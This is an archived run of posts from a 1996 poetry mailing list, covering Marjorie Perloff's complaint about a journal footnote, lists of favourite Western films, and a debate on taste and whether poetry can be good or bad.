Al Filreis had sent me that Inquirer review (which he has, unaccountably, put on line for his class) and I actually thought it was sort of wonderfully funny : this Romano person (who he or she?) complaining that I dare link the crystal clear and easy Wittgenstein to the "murky" Gertrude Stein (whom, he says, no one can read anyway!). I felt I was in good company with Gertrude.

But the Chronicle, Ron, had a lovely review by Peter Baker--so you're wrong there.

More serious is the Walter Benn Michaels bit and I thought lurkers here might like some background! Bob von H organized a session for ACLA last year where Charlie Altieri, Bob, and I were to "respond" to Walter. I'm afraid we were all pretty negative but Walter is unflappable and always gets the last word (not easy with Charlie and me around!).

When I wrote my piece for M/M--largely revised from oral session--I must say I felt I didn't see how he could refute the argument. And when I read his final response I thought it was surprisingly mild--till I came to that footnote which made my heart sink. Not only because he insulted Charles B and me in a stupid way, but it was another example of academese. Walter purports to believe that there is no such thing as "good" or "bad" lit; one reads it more or less for cultural information. If a writer lived in the 20s, anything he or she has written is of potential interest as an "index" to the culture. But woe to the living! Charles Bernstein evidently can't be a cultural index; he's just a "bad" poet and Marjorie has no aesthetic sense because she thinks he's good. This in an essay that had zero to do with Charles or anything contemporary!! It was entirely irrelevant.

When I read proof, I called Bob and told him I thought he should (and easily could!) remove that little footnote. He refused on the grounds that he thought it made for good debate (???) and that anyway since Charles has an essay in the same issue of M/M, he is so to speak getting a fair shake. You figure it out!

Joe Amato caught it and wrote a good letter; I hope others will, not because of me and/or Charles but because it's discouraging to see scholarly journals, supposedly careful in their subjective judgments, suddenly allow someone to say, "I don't like being lectured on aesthetics by someone who thinks Charles Bernstein is a major poet." Period. No reference to anything.

Walter is teaching at the Theory school at Dartmouth this summer; I wonder what theory allows for this sort of thing. But then, as Stein said, "Remarks are not literature."

xxxx
Marjorie Perloff

↑ Index

539. **tmandel**
westerns
Thu 28 Nov 1996

As a matter of curiosity, on the subject of the Western as poetic act, how many have seen

The Man Who Shot Liberty Valance?
The Shootist
The Searchers
My Darling Clementine
Tombstone

Of those who've seen Tombstone, how many have seen more than one of the others (and which)? As I say, this is a matter of curiosity (well, a matter of basic culture in fact, but *I* am simply curious).

Those who used to read Cahiers du cinema way back when know, btw, that it was chock full of essays on (much more than the landscape of) the American Western.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

540. **groberts**
westerns
Thu 28 Nov 1996

And don't forget George Herriman's Krazy Kat, perhaps the greatest marriage of text and image based on the Western landscape. Also worth checking out if you can find it is an old textbook by John S. Shelton, called Geology Illustrated (San Francisco: W.H. Freemen &Co, 1966). Shelton was an aerial photographer who took all the pix for his very readable book. On the cover is an incredible shot of the Meteor Crater in Winslow, Arizona. What better peek at the catastrophic imagination of the Cold War! The photos showing fault activity and erosion are equally spectacular. And to the list of Westerns, I would add The Misfits, in which the spirit of Euripides descends to the desert floor to announce the death of the genre.

Gary R

↑ Index

541. **Judy Roitman**
Re: westerns
Thu 28 Nov 1996

> *And don't forget George Herriman's Krazy Kat*

which has been reprinted in a multiple volume edition I bought mine about 5 years ago at a (shudder) Borders bookstore -- hope they are still in print.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

542. **pollet**
hon vs. deah
Thu 28 Nov 1996

In Maine, diners or most anywhere, you'll be addressed as "Dear," usually spelled deah, but pronounced "dee-uh." and that's regardless of age, sex, or whiteness of beard. Happy Thanksgiving, Deahs! Sylvester

↑ Index

543. **Kali Tal**
Re: westerns
Thu 28 Nov 1996

> *As a matter of curiosity, on the subject of the Western as poetic act,*
> *how many have seen*
>
> *The Man Who Shot Liberty Valance?*
> *The Shootist*
> *The Searchers*
> *My Darling Clementine*
> *Tombstone*

I've seen all but _My Darling Clementine_. But you've left out _Once Upon A Time in the West_, in my opinion the most grandly poetic Western of all. And _The Professionals_. And, of course, _The Magnificent Seven_ (which might be more operatic, come to think of it). But, of course, once we start talking about film as "poetic act," we begin to lose the distinctiveness of poetry as poetic act.

I count _The Searchers_ as a Viet Nam war movie (along with _The Professionals_, _Ulzana's Raid_ and _The Wild Bunch_). Check out Richard Slotkin's _Gunfighter Nation_ for an interesting analysis all four films....

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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544. **maria damon**

Re: westerns

Thu 28 Nov 1996

---

i've always had trouble w/ westerns. as a youngster i cd never tell the main guys apart on a black and white screen, where the only clues in any event would have been clothing color. they don't say enough to be able to distinguish them by vocal mannerism, they were all white, about the same age, same hairstyle, same clothing style. so i'd miss the whole drama, not being able to follow the plot. i also had trouble understanding what they did say when they said anything, it was all a strange jargon about "stages" and "rustling," words that, even when i could distinguish them in that strange speech, obviously meant something different from what i understood as rustling (as in, the liquefaction of her clothes) and stages. even now i have trouble w/ stuff like the x files cuz the white guys in suits all look the same to me, i can't tell when we're being introduced to a new character or just cutting back to a former thread where we've already met the guy, and their speech patterns are not sufficiently distinguishable. i could usually tell the women apart because there was only one. at most two, the madame and the ingenue. by contrast, i could tell the marx brothers apart with no difficulty, and i could always tell the chaplin character in a chaplin film. and i could usually tell may west because of the audience response on the rare occasion that my family would take in a movie, always at a "revival house" (is that the right term, or is that a religious term?) in cambridge. it's obvious i'm media-challenged.

In message <[redacted]> UB Poetics discussion
group writes:
> >As a matter of curiosity, on the subject of the Western as poetic act,
> >how many have seen
> >
> >The Man Who Shot Liberty Valance?

> >The Shootist
> >The Searchers
> >My Darling Clementine
> >Tombstone
>
> I've seen all but _My Darling Clementine_. But you've left out _Once Upon A
> Time in the West_, in my opinion the most grandly poetic Western of all.
> And _The Professionals_. And, of course, _The Magnificent Seven_ (which
> might be more operatic, come to think of it). But, of course, once we start
> talking about film as "poetic act," we begin to lose the distinctiveness of
> poetry as poetic act.
>
> I count _The Searchers_ as a Viet Nam war movie (along with _The
> Professionals_, _Ulzana's Raid_ and _The Wild Bunch_). Check out Richard
> Slotkin's _Gunfighter Nation_ for an interesting analysis all four films....
>
> Kali
>
>
>
> Kali Tal
> Sixties Project & Viet Nam Generation, Inc.
> PO Box 13746, Tucson, AZ 85732-3746
> [redacted]
> Sixties Project: http://jefferson.village.virginia.edu/sixties/

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545. **DS**

Re: westerns

Thu 28 Nov 1996

One of the greatest westerns is Utu. A New Zealand film.

> *The Man Who Shot Liberty Valance?*
> *The Shootist*
> *The Searchers*
> *My Darling Clementine*
> *Tombstone*
>
> *I've seen all but _My Darling Clementine_. But you've left out _Once Upon A Time in the West_, in my opinion the most grandly poetic Western of all. And _The Professionals_. And, of course, _The Magnificent Seven_ (which might be more operatic, come to think of it). But, of course, once we start talking about film as "poetic act," we begin to lose the distinctiveness of*

> *poetry as poetic act.*

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546. **Thomas Bell**
Williams prosody
Thu 28 Nov 1996

In the meter and rhyme,

("....in the sunny climate of mid-century America there were few I encountered who would listen to such sadness. A sadness that did not fit the pattern." Susan Griffin, _The eros of everyday life_)

William Carlos Williams could not
fit the sadness.
tom bell

↑ Index

547. **Rachel Loden**
Re: the West
Thu 28 Nov 1996

"Well, I tell ya pardner... I wouldn?t give two hoots in hell about what some sodbustin? - high fallootin? - howdy handy from Harvard has to say about the West. This here country was overrun with sidewindin? - two timin? - lowdown - cracker croakers a tryin? to run us off our land!"

--somebody in "Blazing Saddles," probably not Lili Von Schtupp

↑ Index

548. **David Kellogg**
Re: Comparative Perloff Studies
Thu 28 Nov 1996

I thought this might be the time to mention: my own article on Perloff's work is coming out in the long-in-production poetry issue of _Diacritics_ (with work by MP, CB, and others). I just got and returned my page proofs, so maybe the issue will actually come out (with Diacritics, you never know).

Like a typical _Diacritics_ piece, my own article is both positive and critical. I use her new book to read most of the work (with the exception of the futurism book) since _The Poetics of Indeterminacy_, with particular attention to the role (vexed) of "theory" in it. I actually think it's pretty positive, but Marjorie might

disagree. I think it's more conversational that judgemental, hoping to push the discussion of her work in a particular direction.

Everybody should get this issue of _Diacritics_ when it comes out. I'll be happy though to send offprints of my individual article to those who would like one.

Cheers,
David
~~~
~~~

550. **Bil Brown**
Re: M/M & westerns, deah
Fri 29 Nov 1996

maria,

Maybe not. Ethnopoetics is in a WAY cultural studies. Get ahold of Jerry Rothenberg's anthologies, quick!!

Bil Brown

↑ Index

551. **Bil Brown**
Re: M/M & westerns, deah
Fri 29 Nov 1996

Second thot:

Serials
Serial Poem
Serial Killers
Breakfast Serial
Daytime Serial
Nighttime Serial
Serial Mom
Spicer's Serial
Serial
Serial
Serial

You see, media does have it's adverse affects...

Bil Brown

↑ Index

552. **Bil Brown**
Re: taste, judgment, etc...
Fri 29 Nov 1996

Yeah man, but haven't you been to those HORRIBLE readings where it's osme-one you have been waiting to see yr whole LIFE and they sound like two fucking cans tied together with a cord (hey now that isn't a bad idea). Or a silly juvi-40yrold that thinks thier genius is between their head when it's between their legs (but IF I wanted to see that I wd rent "Debbie Does Dallas".

Poetry needs CANDOR to survive as a fine art. The medium necessitates mindfulness, if that isn't craft then it at least has to be duende.

Then again, my veiw of what is "good" and "bad" art is pretty extended. I like most anything that doesn't put me to sleep. Maybe that isn't so critical. I can be more critical, craft wise, in workshops, and editing. The less obvious something is, the better. That's the way I like MY art.

Cheers,

Bil Brown

↑ Index

553. **Ron Silliman**

M/M & westerns, deah

Fri 29 Nov 1996

Marjorie,

What is M/M?

I used to hear that line about there being no good or bad writing back when I was a student at Berkeley in the early '70s. It's an index of people who either can't read or who really don't want to be involved with literature, because they hate all of it.

I'll see if I can find your review in the Chron via the search engine on The Gate.

Tom et al,

As to westerns, I was blown away by My Darling Clemintine the other day, an utterly wonderful film (and not at all what one might expect given that title -- a retelling of the Wyatt Earp/OK Corrall story). If I saw Tombstone, I've forgotten it. I saw the others but for the Shootist (I have a Marion Morrison allergy, and anyway actually think it was a better name than the stage moniker "John Wayne").

My exposure to westerns really came on 50s TV where some of the first series were just old Saturday movie shorts stuffed into the 30 minute slots. Red Ryder, Hopalong Cassidy, Lash LaRue (who just died two or so months ago), Sky King, Roy Rogers.

One of my favorite elements to those shows was how Roy & Dale would shift time continuums from show to show. Sometimes they were back in the 1880s in the "old west," other shows they had Pat Brady & his jeep along for the ride. It may have been my earliest exposure to a Brechtian device (unless one considers watching Pinky Lee's heart attack on the air).

Ron Silliman

↑ Index

554. **maria damon**
Re: M/M & westerns, deah
Fri 29 Nov 1996

---

ron rites:
>
> I used to hear that line about there being no good or bad writing back
> when I was a student at Berkeley in the early '70s. It's an index of
> people who either can't read or who really don't want to be involved
> with literature, because they hate all of it.
>

i don't know about this. i've just been involved in a contretemps which affected me very deeply, in which a poem i discussed for a paragraph was excised from a 30-odd page essay i wrote because the poem is, by common consensus, a "bad poem." (the editor was considering not running my entire piece because he had such an aversion to that poem, which i wasn't promoting as a "good poem" --my work doesn't do that kind of thing --but analyzing in its public context). now, i like this poem. i can see why others think its bad, but the reasons they give don't seem powerful to me. and i think it's perfectly fine. my closest friend in CA, whom i still talk to several times a week, was so upset that i liked this poem that she started to doubt the value of having me like *her* poetry, and said, among other things, that if "just anybody" could write poetry, why was she doing it. my response that she did it because she had a passion for it didn't seem to cut any mustard. she had to believe that she was "better" than most people at it. i need to find some way of theorizing this because it is crazy-making to have this juggernaut --other people's taste --used as if it were an objective, and furthermore, ultimate, gauge of anything. i really, perhaps, do think there's no such thing as good or bad poetry, though i do have my preferences. some folks gave me grief about my essay called "tell them about us," which is about the poetry written by some teenage girls in a boston housing project. personally i think it's the most interesting work i've done. but others prefer the stein, the kaufman, the duncan, etc., the stuff that's about "real" poets. i guess cultural studies and poetry have a long way to go to get together.--md

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555. **Tenney Nathanson**
rubber inch
Fri 29 Nov 1996

> *Date: Tue, 26 Nov 1996 11:58:11 -0400*
> *From: Jordan Davis <[redacted]>*

> *Subject: Williams' prosody and/or linebreaks*
>
> *Anybody know*
> *of any work that*
> *deals*
> *intelligently*
> *and clearly*
> *with William Carlos*
> *Williams' prosody*
> *and/or*
> *linebreaks?*
>
> *Hunkered,*
> *Jordan*

Jordan--

Kenner in /A Home-Made World/, also in a piece on NJ talk and /Paterson/ in a Penguin collection on WCW edited by Tomlinson

give my regards to the ridge where the west side commences....

Tenney

↑ Index

556. **amato**
Re: M/M & westerns, deah
Fri 29 Nov 1996

---

i wouldn't even know where to start re westerns, i've seen so many of 'em... so this will be FUN (thanx tom!)...

my darling clementine, like ron sez, is just beautiful in terms of its staging, use of landscape, incredible b & w cinematography (i happen to like the acting lots too, but that's another story)... you can watch it with the volume OFF---no shit... sergio leone surely learned from john ford (in addition to kurosawa, i mean, who as all film buffs know learned from american westerns that themselves imitated ETC.)... i don't have that wayne allergy ron speaks of---i'll go for *the searchers* as his and director ford's best western (wayne was so infuriating during the late sixties and early seventies i can understand being allergic, ron)...

i've always loved *the good, the bad, and the ugly*, to add to kali's *once upon a time in the west* as my two favorite leone westerns (and kali---i just LOVE lee marvin's last line from *the professionals*!)... and we may as well throw the recent (kevin costner) *wyatt earp* (not bad, finally) up against *tombstone*, and throw in the older *gunfight at the ok corral* too (given this latter's remarkable cast, and that john sturges directed, same guy who did *the magnificent

seven*---which latter i'm addicted to)... and what about *the ox-bow incident*---a horse opera that's really about lynching?... or *high noon*, or *the gun-fighter*, or *duel in the sun*, or *one-eyed jacks*, or *the big country*, or *red river*, or *shane*, or *destry rides again* (the first destry), or *valdez is coming*, or *little big man*, or *will penny*, or *high plains drifter*, or *butch cassidy and the sundance kid*---

and how bout the early west, something like (the newest of FOUR versions, with daniel day-lewis) *the last of the mohicans*?---

and how much do we want to bend the genre? b/c *dirty harry* is clearly a cowboy-cop flick (which eastwood and don siegel played with three years ealier in *coogan's bluff*)---

and what about the silent era, from *the great train robbery* to harry carey's one- reelers to tom mix and william s. hart and hoot gibson and---? b/c the west played a key role here, before sound, in terms of landscape and motif and early film 'language'---and around, say, 1915, the west was still what many folks think of as the west---

but here's three favorites from that genre that haven't made it yet to anybody's list... anybody ever seen *the ballad of cable hogue*, sam peckinpah's one time surrealist western venture (with jason robards and stella stevens)?... and how bout (and here i'm picking my favorite from a half-dozen, on-location anthony mann gems) *the naked spur* (an older, more grizzled james stewart, with robert ryan and janet leigh)... and what about, say, *johnny guitar*---sure to please those of you yearning for a postmodern retrospective (leonard maltin always notes that the plot from this flick was lifted for leone's *once upon a time*)... mercedes mccambridge and joan crawford are remarkable...

and how bout one i haven't seen (been scouring the video stores for same), jim jarmusch's *dead man*, with johnny depp (playing an accountant from cleveland name of 'william blake'), gary farmer (as a native american outcast name of 'nobody'), gabriel byrne, lance henriksen, robert mitchum (yeah---short on women folk, like so many westerns (save for mebbe *westward the women* or *hannie caulder*))... sounds like a winner, but i'll have to wait to see... mebbe somebody out there has caught it, wonderin what you think if so...

and to extrapolate from ron's remarks re tv westerns: for me, early, b & w tv IS the west... from *the twilight zone* to *lost in space* to *bonanza*, so much of it utilizes western (or west coast) landscapes that when i first actually SAW the west (being from upstate ny originally), i felt like i was watching tv...

joe, stuffed with stuffing

↑ Index

557. **amato**
taste, judgment, etc...
Fri 29 Nov 1996

---

maria, i think what happens when folks start talking about "good" vs. "bad" *anything* is that everybody starts to, well, entrench...

mebbe what's necessary is to talk about assumptions here... surely to question the nature of judgment is not to suggest that we don't "judge," right?... i mean, we judge all the time---in our least judgmental states

[insert quote from dewey's _experience and nature_]

[note that doing so constitutes judgment]

i mean, i'm not certain how i would presume to "respond" to somebody's work [insert "INCLUDING MY OWN"] w/o presuming to understand that specific aesthetic, while asking how and to what extent a work "works" given its apparent appeals (which is always a risky endeavor, yes)... which could be put in terms of what's good, not so good, etc. (a somewhat different language perhaps from what's bad, not so bad, etc.)... so value is at least two-pronged here---what we value [insert "and why"], and the appeal a work makes to a given set of (aesthetic, social, personal, somehow contextualized) values... along with further complications having to do with why we might bother with work that seems not to participate in what we value... all of which gets obscured by the word "taste," albeit taste as such is not about to go away...

so provided we situate and are clear as to our own impulses---what we value---and come to a given work in such terms, we might end up by saying that a given work is "bad"... meaning, does not satisfy what we understand to be its (appeal to) value... it's not an objective reality---and i think few would say so (few around here i mean, on poetics)... but just b/c it's subjective as hell, and fully socialized, doesn't mean we can't say that we find something---a work of art or a grapefruit---"bad"... and doesn't mean, i might add, that we *shouldn't*...

now if you don't like grapefruits in the first place, why then your take on grapefruits may not be all that insightful... personally, i could care less about grapefruits, but if you tell me you don't like italian food---you and me, we got a problem!... judgment can be so fuzzy---kinda like that old joke that woody allen uses someplace or other about the two old folks eating at the restaurant---"the food is terrible here" says one, to which the other replies "yes---and such small portions"...

anyway, i trust *your* judgment, maria!...

best,

joe, ready for another sweet potato

↑ Index

558. **Aldon L. Nielsen**
Re: "The Man Who Shot the Other Man"
Fri 29 Nov 1996

Tom: I've seen 'em all, as you would probably guess --

When I moved East at age 12, I was astonished to find that my new playmates had formed their image of the West entirely from films -- they didn't belive me when I told them we had flown East in a plane! --

When I moved West, at age 36, I had the shock of visiting the backlots where many Westerns were filmed -- finding that those disparate loclaes were all the same locale --

anybody care to comment on how the conjunction functions in the descriptor "country & western" ??

AND, for you music hounds out there -- There's a video titled "Times Ain't What They Used to Be" that includes what may be the only surviving film footage of Jimmy Rodgers, and a host of other rare clips of music performance --

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559. **Eliza McGrand- CVA Guest**
Re: taste, judgment, etc...
Fri 29 Nov 1996

---

i have trouble with the "no good no bad literature" school. it seems to be part of the devaluing of writing, literature, reading in general. for example, we all (or we most) sing in the shower. but we do not imagine ourselves frederica von stadt and pavoratti, we do not write indignant letters saying "why DOESN'T the metropolitan opera pay us thousands of dollars and let us do our "Barber of Seville" rendition... we don't play our air guitar and then wax indignant that we are as good as any musician in the boston symphony orchestra and anyway why HASN'T the orchestra taken us up... we don't sew a torn moccasin up and then demand that hospitals give us operating room privileges becasue we ought to be sewing patients since we can sew moccasins...

in other words, i think writing poetry is a skill, just like playing the violin, like dancing, like being a surgeon, and it deserves the same respect. there is a craft, there are more effective skilled ways to shape something and less so... within the craft, there is, say, the violinist for the Cheiftans, and there is the BSO symphony violinist, and they are both very good but very different.

everyone SHOULD be able to sing in the shower, sing with their friends, sing in the car, use singing to express things best expressed that way and enjoy the act, but why is it we can acknowledge that "yes, i sing in the shower but no, i am not a brilliant singer" but if we write in a journal, string some thoughts in a few lines with a rhyme, we have to be Profound, Great Writers and No One Is Better Than Us... blah blah blah

i see universities trashing writing programs, english departments, students trashing composition, and it is all, it seems to me, part of a slide into insisting that there are no skills, no abilities, no craft, and anyone can write and it is all great in complete denial of the number of books that are trash books, books written for light, thoughtless consumption which do not last beyond that reading -- barbara cartland fill-in-the-heroine books, fad books, and great, strong, dense works like, of course, shakespeare but also chaucer, edith wharton, sarah orne jewett, judy grahn, joyce, etc. etc. which are read over and over, which hold so much thought and craft and work and ability that each reading brings something new and strong and true.

why is it so important to so many to denigrate writers and disrespect what they do? to trash the people who search and learn and think and practice with words while we validate people who do that with engines, numbers, hair, paint, singing?

e

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560. maria damon
western style danish please
Fri 29 Nov 1996

---

more on the west:
as a half-dane, i used to encounter danish kids whose idea of america was formed
from westerns. they'd be puzzled that i didn't know any cowboys and that my father (the american) didn't ride a horse. mother tells the story of how, when my father went over to denmark for their wedding, her little cousin charged his friends 10 ?re to see the american, and the kids wanted their money back afterwards; he couldn't be a real american cuz he wasn't wearing a gun and holster and chaps, a stetson hat and cowboy boots. i even learned a cowboy song
in danish:
jeg har min hest, jeg har min lasso,
jeg har en sweetheart i el paso.

min bedste ven var indianer,
han var den sidste mohicaner.

you can pretty much figure out what it means. in danish, the word for blue jeans translates as "cowboy pants." even now, my cousins think most americans die by gunshot and own guns. they've turned down professional opportunities cuz they think the states is too violent a place to move to with their kids.

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561. **amato**
Re: taste, judgment, etc...
Fri 29 Nov 1996

---

e, only problem i have with the way you put things is your emphasis on "craft," b/c it seems to me it's the "craft" tradition that's the problem... esp. in "creative writing" classrooms, the master-apprentice relationship permits for uncritical criticism of "creative" work...

i just picked up a flyer the other day for a new book, _the craft of science writing_ or some such... and another for _the craft of research_ or some such (this latter authored by joe williams, greg colomb and wayne booth!---i may have the title wrong)...

"craft" is itself a crafty word, whose etymology (in this case esp., etymology needs to be considered) points to the difficulties of instating it as the *institutional* means through which to establish value... i understand what you're getting at, of course (hell, my dad was a craftsman by all accounts) but i really do think we need to find a better language, a language that gives us recourse to skills and talents and such like that aren't predicated merely on transparency of same, 'handed-down' as gospel... b/c esp. in these political climes, emphasizing craft is going to be understood as saying that thus & so can be transferred from one head to another (like technology---and with craft, then, we end up with the romantic genius)... hell, it was to my dad's credit that he went against the grain, so to speak, even as he became more proficient (and here i refrain from saying he was an "innovator" b/c of what's been done to that poor word)...

anyway, as a sort of friendly amendment, if i may...

best,

joe

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562. **Joel Felix**
Re: westerns and dead white men,
Fri 29 Nov 1996

---

joe amato wrote:
>and how bout one i haven't seen (been scouring the video stores for same),
>jim jarmusch's *dead man*, with johnny depp (playing an accountant from
>cleveland name of 'william blake'), gary farmer (as a native american
>outcast name of 'nobody'), gabriel byrne, lance henriksen, robert mitchum
>(yeah---short on women folk, like so many westerns (save for mebbe
>*westward the women* or *hannie caulder*))... sounds like a winner, but
>i'll have to wait to see... mebbe somebody out there has caught it,
>wonderin what you think if so...

Dead Man? Well, I don't know the first thing abt the west outside of Cormac McCarthy novels--that's not true I drove thru the desert one year and loved it like a Finn would. Anyway, dead man--the name "william blake" was incidental unless one counts the character blake's visions as an equasion to the poet. I thought the film careened back and forth from parody of the Western to fable-making abt the west, meaning that I would have laughed myself blue if Jarmusch's cinematographer (muller?) hadn't been pulling the film into the direction of the sublime. Which is to say it's like watching Weston or Addams at 24 picture frames per second. But that's Jarmusch in my opinion, a beckettian ad-mix of mordant horror yuck-fest. I thought the opening 15 minutes with Christian Slater (did anyone else see him Karate kick david letterman with his platform shoe in 1988, it was a seminal event in my late adolescence) fantastic, moving, more exactly "dream-like" than any peice of filmaking I have ever seen. But the total is a lot more than that, JJ side-glances at jesuits and the implied machinery of the West-ward advance. And "Nobody" the indian paints dying "willam blake's" face white as a skull but also the white man is death for him and for the land. And the white man *is* and *is* for Nobody by the end of the film, the last 15 minutes of which contain a hair-raising mix of shlock and the sublime.

But I saw this film with abt 15 friends 7 of them female and only one woman cared for it much, and she with a shrugging off of the fact that all this damnation in the movie stems from (1) capital (trade, industry, land) and (2) the poor judgement of women. I won't rehash the plot here, but i'm curious if anyone else read the film as damn near misogenist.

joel felix

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563. **aerialedge**
Re: taste, judgment, etc...
Fri 29 Nov 1996

At the New Coast conference Thad Ziolkowski raised the question of taste & was met with, well, not much. It may be that it's the wrong language-game. It may be better to say "what's this piece of writing _doing_" & what contexts, cultural/political/philosophical is it engaging, & how. This would still allow for value judgements but hopefully would cause one to emphasize the contingency of such judgements & to acknowledge the context(s) (also contingent of course) the judgement is arising from.

Eliza wrote: "i see universities trashing writing programs, english departments, students trashing composition, and it is all, it seems to me, part of a slide into insisting that there are no skills"

This seems to me driven largely by economics-- a corporate ideology of "there's not enough to go around"-- in many institutions there's plenty for the computer lab, &/or research in disciplines that have short term benefit to industry, often the defense industry.

I don't find this very tasteful.

I've encountered recently, from more than one friend of mine, the statement "I hate jazz." This seems to me a very problematic exercise of "taste." To cordon off entire cultural areas like this. & seems a fairly regular occurence in this culture actually which may have replaced other sorts of prejudice among those with some degree of education-- prejudice moved into genres of culture rather than more crass expressions of prejudice. "I hate reggae" "I hate opera" "I hate Bob Dylan"(he's his own genre ya know, or more appropriate to say in dismissing him you're dismissing an entire tradition) "I hate _____." It seems to me one has to _try_ & withold value judgments when first encountering a work of art, music, whatever. Again, to see what it's _doing_, yet people's reactions at times seem so _visceral_ -- they're not willing to grant an artwork a valid context at all. They're wrong about this.

--Rod

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564. **k.a. hehir**
Re: l=a=n=g=u=a=e
Fri 29 Nov 1996

---

thanks george, i never even thought to ask. his office is just one floor up. it's odd when someone on the left coast has to give you directions in your own building.

kevin

On Tue, 26 Nov 1996, George Bowering wrote:

> *The Canadian edition of the L=A=N=G=U=A=G=E anthology was run as a number of _Open Letter_. Maybe there's a copy or two of that. Address Frank Davey, at [redacted].*

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565. Christopher Alexander
taste & etc.
Fri 29 Nov 1996

---

to move back towards maria's initial post in this thread, it seems to
me that what's revealed in a statement like
> i really, perhaps, do think there's no such thing as good or bad poetry,
>though i do have my preferences.
is a tension between 'taste' & all that implies (ie., the social constitution
of the 'individual' & so taste, etc.) and what use can be made of a cultural
artifact. 'taste' has its place [wants to say "inextricable"--see previous
parenthesis], ie., is [has no doubt] reflected in the choice of objects &
the critique itself (there is some'one' to steer and adjust, some'one' to
drive the car), but can't somehow invalidate an object qua cultural artifact.
as joe is quick to point out, 'bad' is only 'bad' within
>a given set of (aesthetic, social, personal, somehow
>contextualized) values,
which doesn't render judgement somehow 'wrong' (im not sure what this
could mean in this case--seems paradoxical), but does point up
its contingency. what i find distressing about the editor you (maria)
mention is that he seems not to see this tension, misses the contingency of
judgement--or, more troubling, understands it and enforces "common
consensus" anyway. leaving aside the question of whether you like
the poem or not, you use it (presumably) to enact a critique. his
decision to excise it on the basis of 'common taste' [beloved chimera]
makes as much sense as excising an analysis of, say, an episode of
"three 's company," because, well, no one ever really liked that show anyway.

incidentally i think the consideration of 'taste' vs. 'use' [wants to say "exchange value" vs "use value"--but doesnt want to muddle the issue] can be a fruitful one in terms of poetics. im reminded of Charles Bernstein's contribution to _Writing/Talks_, towards the end of which he might be taken as [trying not to be reductive] pointing up this same tension: "I don't think I manage to achieve as many possible interpretations as I might like. . . . I'm very much limited by what

makes sense to me, because of this horribly mistaken but nonetheless ongoing concern for the poem to sound right." .. chris alexander, etc. [redacted]

"Be sure, in writing that you get what you are after...
the thing, in fact, is what you are writing down." WCW

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566. **Kali Tal**
Re: taste, judgment, etc...
Fri 29 Nov 1996

Eliza writes:

> *for*
> *example, we all (or we most) sing in the shower. but we do not imagine ourselves frederica von stadt and pavoratti, we do not write indignant letters saying "why DOESN'T the metropolitan opera pay us thousands of dollars and let us do our "Barber of Seville" rendition... we don't play our air guitar and then wax indignant that we are as good as any musician in the boston symphony orchestra and anyway why HASN'T the orchestra taken us up...*

It's this kind of comparison that, I think, points up some of the weaknesses in the "good / bad literature school." Eliza, I don't know you, so please don't read any personal judgement into my words--I'm just working with the text you've placed on the screen. The "good" music that you're comparing the "bad" shower music to is all.... classical. I might have assumed you were using classical music only as an example (instead of the *only* good music), except for the "air guitar" comment, which juxtaposes "(bad) teen bad music" (rock) against "mature good music" (classical). This "low culture" / "high culture" split usually works to devalue the cultural productions of nonwhite and working class people. Similarly, the "good / bad literature" school works to devalue the writing of nonwhite and working class people--except insofar as those people can master the writing styles of the white upper class.

For me, the question always is: "*Why* are people writing in a particular way, about a particular set of subjects?" Aesthetics are relative, and I am bound to find rap music "bad" if I'm judging it on the same terms I judge contemporary classical performances. I can start to find rap "good" (and to distinguish between "good rap" and "bad rap") if I understand rap's own traditions, its connection to a rhythm-based West African aesthetic, its ties to blues and jazz forms, its invocation of and Signifyin(g) on the act of storytelling, its creation of the rapper as trickster figure (Signifying Monkey), and its place in a long line of politically subversive acts deliberately and self-consciously undertaken by an historically oppressed people. If I'm working within the rap aesthetic, I can

start to understand how brilliantly Ice T handles the medium (he's "good"), and explain why poor imitations (like Vanilla Ice) are "bad."

I make my "good / bad" distinctions within particular, pretty clearly defined categories, and I tend not to compare categories. (To me the question of whether rap is "better" or "worse" than classical music is simply not compelling.) And even within particular categories, I temper my "good / bad" judgements with a follow-up question. "But, is it *interesting*?" Something can be "bad," but still be interesting (because it does something, because it means something), which implies that as a cultural critic I ought to pay attention to it. In fact, I often care more about "interesting" than "good" *or* "bad". Like most cultural critics, I've pretty much given up the notion of some sort of fixed set of standards, and operate on the level Joe (hi, Joe!) suggests, the level of trying to understand "to what extent a work 'works' given its apparent appeals."

> *in other words, i think writing poetry is a skill, just like playing the violin, like dancing, like being a surgeon, and it deserves the same respect. there is a craft, there are more effective skilled ways to shape something and less so... within the craft, there is, say, the violinist for the Cheiftans, and there is the BSO symphony violinist, and they are both very good but very different.*

Again, I'll nod to Joe here, and note that craft guilds have traditionally been exclusive, often for motives more economic than skill-related. (For example, black craftsmen were barred from Southern guilds and, later, unions.) These days I find that the writing "craft guilds" tend to enforce a pattern of exclusion of writers whose subject matter or style doesn't necessarily serve the interests of the "master craftsmen/women" who run the "creative writing" programs and workshops, and who do the hiring of the next generation of "master craftsmen/women." In fact, I make it a practice to publish poets who find themselves excluded by these guilds, or who reject the environment and judgements of these guilds. Not-so-coincidentally, most of the poets I publish are working class and prefer to see themselves in terms of the working class, rather than adopting the "professional" status of the "literary" writer. Just as the level of working class voices and the display of working class manners can make "genteel" diners flinch in restaurants, I find that quite a few "guild poets" and critics flinch at the bald intent of these working class writers to express themselves in the language that is their own. Frankly, I've got no patience for this, and I think that such dismissals are more likely due to a refusal of the privileged to pay attention to what the working class is *doing* than to the poor quality of poetry produced by working class writers.

I enjoy listening to Maria Callas recordings. I also like Coltrane and Miles, Ice T and Boogie Down Productions, Live and Nirvana, Ida Cox and Howlin' Wolf, Shirley & Lee and Johnny Guitar Watson (no relation to the Western movie),

Aster Awake and Manu Dibango. "Good" is what works the best to do that thing you do.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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567. Thomas Bell
Re: M/M & westerns, deah
Fri 29 Nov 1996

At 08:43 AM 11/29/96 -0600, maria damon wrote:

>i don't know about this. i've just been involved in a contretemps which
>affected me very deeply, in which a poem i discussed for a paragraph was excised
>from a 30-odd page essay i wrote because the poem is, by common consensus, a
>"bad poem." (the editor was considering not running my entire piece because he
